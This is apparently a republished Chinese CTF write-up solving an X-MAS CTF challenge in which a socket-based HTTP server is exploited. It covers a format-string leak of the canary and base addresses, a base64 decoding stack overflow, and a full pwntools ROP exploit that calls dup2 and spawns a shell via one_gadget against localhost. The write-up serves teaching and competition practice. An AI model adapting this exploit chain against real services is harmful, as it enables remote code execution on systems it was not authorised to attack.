【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

admin 2022年5月7日12:23:01评论74 views字数 5475阅读18分15秒阅读模式

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

一、前 言
【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

最近空下来,做了一下X-MAS CTF的pwn题,题目质量很好,期间遇到一道web+pwn花了不少时间,主要从子进程调试、socket通信方面详细讨论如何解决这类基于socket服务的pwn题。

题目下载:

链接:https://pan.baidu.com/s/1G4L-B1rSydLRCJ-9Zcy9Ug 密码:wsxd

二、分 析
【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

题目给了一个基于socket的server(保护全开)以及libc.so

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

把server跑起来,通过浏览器访问http://localhost:1337,出现了这样一个页面,有点像web的画风,字面意思是:预留了了一个通过GET请求的接口

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

多翻尝试,发现可以这样调用

/?toy=base64_string

比如说,请求hello world页面,传入hello world的base64编码aGVsbG8gd29ybGQ=

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

先测试一下有没有溢出,传入一个超长串的base64编码

/?toy=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==

网页直接崩掉,server的启动终端提示stack smashing,说明发生溢出了,但有canary,下面找找可以info leak的洞

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

三、BypassCanary
【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

找到route函数,这里有一处fsb可以用于泄漏stack cookie

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

下面说说调试方法:

一般的pwn题,直接通过socat起来,要调试的只有一个进程;对于socket服务,当接收到请求,会fork出来一个子进程,该子进程的内存空间布局与父进程一致,同理,这样多次会话泄漏出来的Canary也完全一致。直接在子进程代码中下断点,程序是不会断下的,需要先设置跟随子进程set follow-fork-mode child

先在route处下断,设置跟随子进程,运行这段leak脚本

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

def _request(gift,fmt,ctl):
req = "GET /?toy={} HTTP/1.1rn".format(gift)
req += "User-Agent: {}rn".format(fmt)

s=remote("localhost",1337,level="error")
s.s(req)
try:
if not ctl:
return re.findall("<br>(.*?)</small>", s.recvall())[0][10:]
else:
return s.irt()
except EOFError:
return None
finally:
s.close()

def pwn():
leak = _request(b64e('wooy0ung'),'%p '*200,False).split(' ')

if __name__ == '__main__':
pwn()

现在段在了printf调用的地方,查看栈上该处便是cookie

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

查看内存布局,顺便把pie_base、libc_base泄漏出来

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

对比基址,确定通过以下这几处可以泄漏0x0000555555556006-0x0000555555554000 = 0x20060x00007ffff7a2d830-0x00007ffff7a0d000 = 0x20830

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

换算一下,得到基址

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

四、Stack overflow
【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

关于溢出点,找了好久,server设置跟随子进程,跑一下这段poc

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

def pwn():
pl = "QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4"
pl += "QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3"
pl += "QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2"
pl += "QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc= "
req = "GET /?toy={} HTTP/1.1rn".format(pl)
s=remote("localhost",1337,level="error")
s.s(req)

if __name__ == '__main__':
pwn()

子进程崩掉

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

查看栈回溯,发现在parse_query_string开始崩的

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

重新跟随子进程,停在base64decode函数调用的地方

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

先查看一下栈内容,现在是正常的

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

base64decode调用返回后,栈被覆盖了,通过对比正常的栈内容,得到stack_cookie的偏移0x928-0x8e0 = 0x48

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

查看函数base64decode的代码,最后确认溢出点在这里,a2是在调用base64decode传入的一个局部数组

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

查看栈布局,a2的缓冲区大小只有0x48,当越界了就会发生溢出

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

五、ROP
【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

现在已经分析完了,下面就是常规栈溢出的做法了,只是要注意现在是在socket服务下的利用,还需要将标准输入、输出重定向到sockfd,可以这样构造rop chain

#1.Smash stack bypass
pl = ''
pl += 'a'*0x48
pl += p64(stack_cookie)
#2.Call dup2(4,1) [out]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(1)
pl += p64(libc.sym['dup2'])
#3.Call dup2(4,0) [in]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(0)
pl += p64(libc.sym['dup2'])
#4.Call system('/bin/sh')
pl += p64(ret)
pl += p64(libc.address+0x45216)
pl.rjust(200,'x00')

完整的EXP

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys
import requests
import re

DEBUG = 4
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./server',checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
s = process('./toy')
elif DEBUG == 2:
libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
s = process('./toy', env={'LD_PRELOAD':'/root/workspace/expmake/libc_x64'})
elif DEBUG == 3:
libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
ip = 'localhost'
port = 1337
s = remote(ip,port)
elif DEBUG == 4:
libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)

def _request(gift,fmt,ctl):
req = "GET /?toy={} HTTP/1.1rn".format(gift)
req += "User-Agent: {}rn".format(fmt)

s=remote("localhost",1337,level="error")
s.s(req)
try:
if not ctl:
return re.findall("<br>(.*?)</small>", s.recvall())[0][10:]
else:
return s.irt()
except EOFError:
return None
finally:
s.close()

def pwn():
leak = _request(b64e('wooy0ung'),'%p '*200,False).split(' ')
#print leak

pie_base = int(leak[0], 16) - 0x2006 # 0x0000555555556006-0x0000555555554000 = 0x2006
stack_cookie = int(leak[6], 16)
libc.address = int(leak[36],16) - 0x20830 # 0x7ffff7a2d830-0x00007ffff7a0d000 = 0x20830

info("0x%x pie_base",pie_base)
info("0x%x stack_cookie",stack_cookie)
info("0x%x libc.address",libc.address)

'''
pl = "QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4"
pl += "QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3"
pl += "QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2"
pl += "QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc= "
req = "GET /?toy={} HTTP/1.1rn".format(pl)
s=remote("localhost",1337,level="error")
s.s(req)
'''

ret = pie_base + 0x0000000000000c4e
rdi = pie_base + 0x0000000000001d9b
rsi_r15 = pie_base + 0x0000000000001d99
rdx_rsi = libc.address + 0x00000000001150c9

#1.Smash stack bypass
pl = ''
pl += 'a'*0x48
pl += p64(stack_cookie)
#2.Call dup2(4,1) [out]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(1)
pl += p64(libc.sym['dup2'])
#3.Call dup2(4,0) [in]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(0)
pl += p64(libc.sym['dup2'])
#4.Call system('/bin/sh')
pl += p64(ret)
pl += p64(libc.address+0x45216) # one_gadget
pl.rjust(200,'x00')

_request(b64e(pl),'',True)

if __name__ == '__main__':
pwn()

WIN~

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

- 结尾 -
精彩推荐
【技术分享】新手向——IO_file全流程浅析
【技术分享】二十年重回首——CIH病毒源码分析
【技术分享】12月12日安全热点 - ProxyM僵尸网络/ISP Comcast继续js代码注入
【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwn

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月7日12:23:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】圣诞前夕X-MAS CTF一道有趣的web+pwnhttp://cn-sec.com/archives/983442.html

发表评论

匿名网友 填写信息